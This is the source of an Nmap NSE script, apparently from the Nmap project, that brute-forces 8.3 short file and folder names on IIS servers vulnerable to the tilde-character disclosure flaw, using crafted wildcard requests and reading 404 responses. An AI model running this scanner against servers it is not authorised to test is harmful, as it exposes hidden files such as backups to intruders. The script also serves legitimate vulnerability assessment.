1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181
|
description = [[
Attempts to brute force the 8.3 filenames (commonly known as short names) of files and directories in the root folder
of vulnerable IIS servers. This script is an implementation of the PoC "iis shortname scanner".
The script uses ~,? and * to bruteforce the short name of files present in the IIS document root.
Short names have a restriction of 6 character file name followed by a three character extension.
Notes:
* The script might have to be run twice (according to the original author).
* Tested against IIS 6.0 and 5.1.
References:
* Research paper: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
* IIS Shortname Scanner PoC: https://github.com/irsdl/IIS-ShortName-Scanner
]]
---
-- @usage
-- nmap -p80 --script http-iis-short-name-brute <target>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-iis-short-name-brute:
-- | VULNERABLE:
-- | Microsoft IIS tilde character "~" short name disclosure and denial of service
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the webroot folder.
-- | Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
-- | cause a denial of service condition.
-- |
-- | Extra information:
-- |
-- | 8.3 filenames found:
-- | Folders
-- | admini~1
-- | Files
-- | backup~1.zip
-- | certsb~2.zip
-- | siteba~1.zip
-- |
-- | References:
-- | http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
-- |_ https://github.com/irsdl/IIS-ShortName-Scanner
---
author = {"Jesper Kueckelhahn", "Paulino Calderon"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
local stdnse = require "stdnse"
local shortport = require "shortport"
local table = require "table"
local http = require "http"
local vulns = require "vulns"
portrule = shortport.http
local chars = "abcdefghijklmnopqrstuvwxyz0123456789"
local magic = "/*.aspx?aspxerrorpath=/"
local folders = {}
folders["name"] = "Folders"
local files = {}
files["name"] = "Files"
local last_number = 0
local errors_max = false
local errors = 0
local function isFolder(host, port, path, number)
local data = http.get(host, port, "/" .. path .. "~" .. number .. magic)
return data.status == 404
end
local function isLonger(host, port, path, number)
local data = http.get(host, port, "/" .. path .. "%3f*~" .. number .. "*" .. magic)
return data.status == 404
end
local function foundName(host, port, path, number)
local data = http.get(host, port, "/" .. path .. "~" .. number .. "*" .. magic)
return data.status == 404
end
local function charInExtension(host, port, path, ext)
local data = http.get(host, port, "/" .. path .. ext .. "*" .. magic )
return data.status == 404
end
local function findExtension(host, port, path, ext)
if charInExtension(host, port, path, ext) then
-- currently only support for ext of length 3
if ext:len() == 3 then
stdnse.debug1("Added file: %s", path .. ext)
table.insert(files, path .. ext)
else
for c in chars:gmatch(".") do
findExtension(host, port, path, ext .. c)
end
end
end
end
local function findName(host, port, path, number)
-- check if the name is valid
if foundName(host, port, path, number) then
if isFolder(host, port, path, number) then
--If the last 10 pages return 404, exit to deal to false positive case.
if tonumber(number) == (last_number + 1) then
errors = errors+1
end
if errors>10 then
stdnse.debug1("False positive detected. Exiting.")
errors_max=true
else
stdnse.debug1("Added folder: %s", path .. "~" .. number)
table.insert(folders, path .. "~" .. number)
-- increase the number ('~1' to '~2')
last_number = number
local nextNumber = tostring(tonumber(number) + 1)
findName(host, port, path, nextNumber)
end
-- if the name is valid, and it's not a folder, it must be a file
else
findExtension(host, port, path .. "~" .. number .. ".", "")
-- increase the number ('~1' to '~2')
local nextNumber = tostring(tonumber(number) + 1)
findName(host, port, path, nextNumber)
end
end
-- is the path valid (i.e. 404)
local cont = isLonger(host, port, path, number)
-- recurse if the path is valid and the length of path is not 6
if not (path:len() == 6) and cont and not(errors_max) then
stdnse.debug1("Testing: %s", path .. "~" .. number)
for c in chars:gmatch(".") do findName(host, port, path .. c, number) end
end
end
action = function(host, port)
local vuln = {
title = 'Microsoft IIS tilde character "~" short name disclosure and denial of service',
state = vulns.STATE.NOT_VULN,
description = [[
Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the root folder.
Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
cause a denial of service condition.
]],
references = {
'http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf',
'https://github.com/irsdl/IIS-ShortName-Scanner',
'https://www.securityfocus.com/archive/1/523424'
}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
findName(host, port, "", "1")
--Cleans the false positive results.
if errors_max then
files = {}
folders = {}
end
--Vulnerable!
if #files>0 or #folders>0 then
local results = {}
table.insert(results, folders)
table.insert(results, files)
vuln.state = vulns.STATE.EXPLOIT
results.name = "8.3 filenames found:"
vuln.extra_info = stdnse.format_output(true, results)
end
return vuln_report:make_output(vuln)
end
|